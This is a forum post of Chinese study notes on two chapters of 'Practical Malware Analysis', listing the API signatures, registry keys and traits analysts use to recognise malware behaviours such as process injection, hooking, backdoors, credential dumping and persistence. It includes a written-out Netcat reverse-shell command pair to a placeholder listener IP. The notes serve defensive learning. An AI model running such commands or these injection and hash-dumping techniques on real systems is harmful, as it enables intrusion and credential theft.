首页
社区
课程
招聘
[原创]恶意代码分析实战第11、12章读书笔记
发表于: 2021-5-17 19:30 5525

[原创]恶意代码分析实战第11、12章读书笔记

2021-5-17 19:30
5525

本人进入安全领域半年多,现今正在学习《恶意代码分析实战》这本书,学习第十一章和第十二章讲述关于恶意代码行为时感觉知识有些混乱,所以整理了关于恶意代码除网络之外的典型行为和分析时要注意的具体特征。
本人学习时间尚短,有学习不完整、经验不足之处,希望各位大佬在评论区多多指教。
一、恶意代码启动:
1、下载器:
(1)定义:从互联网上下载其它的恶意代码,然后在本地系统中运行。
(2)特征:通常会与漏洞利用打包在一起、URLDownloadtoFileA、WinExec
2、启动器(加载器):
(1)定义:可执行文件,用来安装立即运行或者将来秘密执行的恶意代码。用这种方式来隐藏恶意代码。
(2)特征:
A、通常在资源节包含一个它要加载的恶意代码,而不是正常程序在资源节存储的图标、图片、菜单、字符串之类的信息。
B、如果资源节被压缩或者加密,就会看到有资源操作API函数,如FindResource、LoadResource、SizeofResource等。
C、启动器通常需要以管理员权限运行,所以也会包含提权操作的代码。因此如果有提权操作,可以注意一下是否是启动器。
3、进程注入:将代码注入到一个正在运行的进程中,可以隐藏恶意代码行为、绕过一些基于主机的防火墙和针对进程的安全机制。
API特征:通常会有VirtualAllocEx、WriteProcessMemory(分配内存空间,并在分配的空间中写数据)

(1)DLL注入:强迫一个远程进程加载恶意DLL程序
A、API特征:CreateToolhelp32Snapshot、Process32First、Process32Next(查找进程列表中的目标进程,用启动器提取目标进程PID)、OpenProcess(获取目标进程的句柄)、CreateRemoteThread(让启动器恶意代码在远程进程中创建并运行一个新的线程)、VirtualAllocEx、WriteProcessMemory(为恶意动态库的名字字符串创建内存空间,并将字符串写入这个空间)
B、分析时要查找找到包含恶意DLL名字和受害进程名字的字符串
(2)直接注入:
A、API特征:VirtualAllocEx、WriteProcessMemory(分配内存空间并写入远程线程使用的数据、分配内存空间并且写入远程线程代码)CreateRemoteThread(调用包含远程线程代码的位置lpStartAddress和数据lpParameter)
B、shellcode
4、进程替换:
API特征:CreateProcess(CREATE_SUSPENDED)、ZwUnmapViewOfSection、VirtualAllocEx、WriteProcessMemory、SetThreadContext、ResumeThread
进程替换可以伪装成受害进程,很好的绕过防火墙和入侵防御系统,从而逃避检测
5、钩子:
钩子是系统消息处理机制中的一个点,可以用来监听事件,例如消息,鼠标动作、击键等。恶意代码的应用比如击键记录器、远程Windows挂钩等。

#两种类型:

#本地钩子被用来观察和操纵发往进程内部的消息;

#远程钩子被用来观察和操纵发往一个远程进程的消息(系统中的另一个进程)
(1)特征:
API:SetWindowsHookEx(idHoook、lpfn、hMod、dwThreadId)、CallNextHookEx、UnhookWindowsHookEx
钩子例程:WH_KEYBOARD、WH_KEYBOARD_LL、WH_MOUSE、WH_CBT等不常用的消息(避开入侵防御系统)
(2)Detours库修改二进制程序,如特洛伊木马化程序,特征是PE文件创建.detour 段
6、APC注入:(内核APC、用户APC)
A、用户APC:QueueUserAPC(pfnAPC、hThread、dwData)
B、内核APC:KeInitializeApc、KeInsertQueueApc
二、后门(backdoor):
1、定义:能让攻击者远程访问一个受害的机器。互联网通信方法通常利用80端口,使用HTTP协议。
2、分类:
(1)反向shell(可以是一个单独的恶意代码,也可以是后门程序中的组件)
A、Netcat反向shell:

#远程机器使用命令nc -l -p 80

#受害机器使用命令nc listener_ip 80 -e cmd. exe
B、Windows反向shell:

#基础方法:调用CreateProcess,修改它的STARTUPINFO结构

#多线程技术:CreateThread、CreatePipe
(2)远程控制工具
(3)僵尸网络
A、蠕虫
B、分布式拒绝服务(DDoS)
例如:木马
三、登录凭证窃密器:
1、定义:窃取登录凭证
2、分类:
(1)GINA拦截:
A、等待用户登录以窃取
B、特征:

#注册表项:HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GinaDLL

#GINA在msgina.dll中实现

#如果分析的一个DLL有许多包含前缀Wlx的导出函数,那么它基本上就是一个GINA拦截器
(2)口令哈希转储:
A、转储Windows系统中存放信息的程序,例如密码哈希值,程序直接使用,或对其进行离线破解,或利用他们执行Pass-the-Hash(PSH)攻击。
B、特征:

#很多以前的恶意代码都会使用Pwdump和Pass-the-Hash(PSH)工具包,但是现在很多也会用自己编译的专有版本,以逃过反病毒软件对标准版本特征码的识别。

#pwdump程序及其变种的导出函数默认是GetHash,但很有可能会被更改名字。导出函数通常会多次调用GetProcAddress。

#SamIConnect——连接SAM(安全账户管理器)

#SamIGetPrivateData——提取哈希

#SystemFunction025和SystemFunction027——解密哈希

#NlpGetPrimaryCredential——转储NT和LM哈希
(3)击键记录:(之前提到的钩子的一个应用)
A、基于内核的击键记录器:
用户模式下的应用程序很难探测到;
经常作为Rootkit的一部分,并且它们作为一个键盘驱动绕过用户空间应用程序和保护
B、用户空间的击键记录器:
特征:
通常使用SetWindowsHookEx安装挂钩;
通常使用GetAsyncKeyState和GetForegroundWindow不断地轮询按键的状态;
对于有些恶意代码,也可以通过提取字符串来判断。例如如果想要记录所有按键,就必须有一种如PageDown的字符串出现。当然,恶意程序可以被提串是前提。

四、常见恶意代码的存活机制:
1、修改Windows注册表:
安装自己:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
让恶意的DLL得到加载:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Svchost
挂钩一个特殊的Winlogon事件:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\
与其他进程混淆,且伪装成更像标准的服务:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Svchost
服务通常被定义在:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName
2、特洛伊木马化系统二进制文件(前面提到的Detours库的应用):
恶意代码修改系统正常情况下最常用的二进制文件,当这个二进制文件下次运行或加载时,就会强制运行恶意代码。一般修改DLL文件比较常见。
识别特征:拖到IDA Pro中看代码,特洛伊木马化的DLL文件通常会跳转(jmp)到其他位置,执行完其他代码后在跳转到原来的位置。一般会用pusha和popa指令结合来恢复到之前系统的正常状态。
3、DLL加载顺序劫持:
Windows加载DLL的顺序是:(Windows XP)
1、加载应用程序的目录;
2、当前目录;
3、Windows 系统目录。使用GetSystemDirectory 函数获取路径;
4、16位子系统的系统目录
5、Windows 目录。使用GetWindowsDirectory 函数获取路径;
6、PATH 环境变量中列出的目录。

五、提权:
1、开启SeDebugPrivilege权限。
2、特征:OpenProcessToken、LookupPrivilegeValueA、AdjustTokenPrivileges
六、隐藏:
1、常用来隐藏恶意代码的踪迹的工具是Rootkit。
2、两种形式:

#通过修改操作系统内部的功能来工作

#修改用户态的应用程序,大部分会选择修改内核。运行在内核层的Rootkit比用户层更容易破坏操作系统。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//